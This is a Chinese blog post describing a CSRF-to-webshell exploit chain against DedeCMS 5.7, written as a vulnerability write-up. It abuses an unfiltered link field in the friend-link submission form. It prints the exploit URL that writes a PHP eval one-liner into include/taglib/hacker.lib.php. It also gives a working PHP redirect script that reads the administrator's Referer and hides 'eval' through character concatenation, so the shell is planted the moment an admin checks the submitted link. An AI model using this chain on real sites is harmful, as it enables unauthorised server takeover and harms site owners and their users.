织梦dedecms 5.7官网最新版Getshell

2017-03-27 20:03:11 dedecms

很久之前一直用dedecms做二次开发、直接做模版就好了,偶尔要写原生的php代码与dede交互,简单的了解了下里面的model,并未深入,dedecms漏洞那么多、、、能不能也找出一个漏洞呢。 下载了官网最新的程序研究了下。

在前台有个提交友情链接的地方,链接是:/plus/flink_add.php,估计以前可能这里存在xss的吧。反正现在是修复了,不过发现传入的链接,在后台可以直接打开,这样就可以结合csrf进一步利用了。

织梦dedecms 5.7官网最新版Getshell


然后这里网址的,默认有,也猜到了是提醒这是个http链接,后端没有判断,登陆后台看了下,果然是直接插入进去的,看代码:



<tr align="center" bgcolor="#FFFFFF" height="26" onMouseMove="Javascript:this.bgColor='#FCFDEE';"onMouseOut="Javascript:this.bgColor='#FFFFFF';"> <td><input type='checkbox' name='aids' value='12' class='np'></td> <td><a href="http://&lt;sc<x>ript&gt;alert(1)&lt;/sc<x>ript&gt;" target='_blank'>&amp;lt;sc&lt;x&gt;ript&amp;gt;alert(1)&amp;lt;/scr</a></td> <td><a href="http://&lt;sc<x>ript&gt;alert(1)&lt;/sc<x>ript&gt;" target='_blank'><img src='&lt;sc<x>ript&gt;alert(1)&lt;/sc<x>ript&gt;' width='88' height='31' border='0' /></a></td> <td>&lt;sc<x>ript&gt;alert(1)&lt;/sc<x>ript&gt;</td> <td>2016-11-04</td> <td>未审核</td> <td>50</td> <td><a href='friendlink_edit.php?id=12&dopost=getedit'>[更改]</a><a href='friendlink_edit.php?id=12&dopost=delete'>[删除]</a></td> </tr>



这样证明了可以做诱导链接了,然后下一步要找csrf可利用的功能,在后台发现一个标签编辑功能里的,dedecms好多地方都是用requests获取的值,不区分get、post,原来是post的,如果post在这肯定构造不成功,get的话,就可以借助csrf一起getshell了。

csrf 诱导 exp链接:./tpl.php?action=savetagfile&actiondo=addnewtag&content=<?php @eval($_POST[‘c’]);?>&filename=hcaker.lib.php  #在当前路径执行这个get请求,写入一句话。

织梦dedecms 5.7官网最新版Getshell


然后就提交了,提交后,后台管理员看到的是这个样子的:


织梦dedecms 5.7官网最新版Getshell


这里就看怎么诱导管理员点击了,一般人看不懂代码,如果点击了,会在 /include/taglib/ 目录下生成一句话 hacker.lib.php,有句话说好奇害死猫,确实是,天上那有掉馅饼的事,别贪便宜,不然容易出事。

就在最后要成功getshell的时候,发生了意外,发现网站名称的href字典限制了长度,把传入的./tpl.php?action=savetagfile&actiondo=addnewtag&content=<?php @eval($_POST[‘c’]);?>&filename=hcaker.lib.php截断为./tpl.php?action=savetagfile&actiondo=addnewtag&content=<?ph,并没有过滤,看来是限制了字符个数、还是不放弃,产生了另一种好玩的想法,感觉要比这个好玩。

一般后台审核友情链接的人都会看下网站权重,然后决定是否通过审核,这一看就会触发漏洞了。通过分析,需要填一个真实的url,而这个url要获取到referer,然后拼接url重定向,这样就可以实现getshell了,而且还可以在后端做个邮件提醒。方便知道那个站已经getshell了。

然后开始写代码了,这里费了不少时间,主要是一个问题,把代码解析为字符串,用php试过转义、字符串转化等都不成功,最后用序列化函数成功了,但是不完整,程序员的做法应该是序列化和反序列化吧,然后我使用单个字符拼接,解决了问题,其实还可以用ascii码去搞定、原来那些写各种一句话的真不容易,要对语言的任何地方都要了解,不然遇到很多未知的问题。


$exp = ‘tpl.php?action=savetagfile&actiondo=addnewtag&content=’.@eval($_POST[‘c’]).’&filename=hcaker.lib.php’;

//如果您有更好的办法,欢迎提供给我。

然后php做CSRF中转的代码如下:


//print_r($_SERVER); $referer = $_SERVER['HTTP_REFERER']; $dede_login = str_replace("friendlink_main.php","",$referer);//去掉friendlink_main.php,取得dede后台的路径 //拼接 exp $muma = '@'.'e'.'v'.'a'.'l'.'('.'$'.'_'.'P'.'O'.'S'.'T'.'['.'\''.'c'.'\''.']'.')'; $exp = 'tpl.php?action=savetagfile&actiondo=addnewtag&content='. $muma .'&filename=hacker.lib.php'; $url = $dede_login.$exp; //echo $url; header("location: ".$url); // send mail coder exit();


然后就重新开始咯,在友情链接里面添加exp友情链接:******.com/exp.php

对方只要访问了,就自动生成 include/taglib/hacker.lib.php噢、上面没有写e-mail通知代码。

织梦dedecms 5.7官网最新版Getshell


getshell-dedecms、、、我要提交补天去、、、